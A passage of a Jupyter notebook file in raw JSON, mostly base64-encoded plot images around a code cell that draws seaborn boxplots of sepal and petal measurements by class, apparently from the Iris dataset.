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\n" + }, + "metadata": { + "needs_background": "light" + } + } + ] + }, + { + "cell_type": "code", + "source": [ + "fig,axes = plt.subplots(figsize=(16,14),nrows=2,ncols=2)\n", + "sns.boxplot(x='Class',y='Sepal length',data=df,ax=axes[0][0])\n", + "sns.boxplot(x='Class',y='Sepal width',data=df,ax=axes[0][1])\n", + "sns.boxplot(x='Class',y='Petal length',data=df,ax=axes[1][0])\n", + "sns.boxplot(x='Class',y='Petal width',data=df,ax=axes[1][1])\n", + "plt.show()" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 824 + }, + "id": "CW5NNb8ctK8x", + "outputId": "b9106f4a-6ae9-4cb9-e2e3-499eeed1a0f0" + }, + "execution_count": 16, + "outputs": [ + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
" + ], + "image/png": "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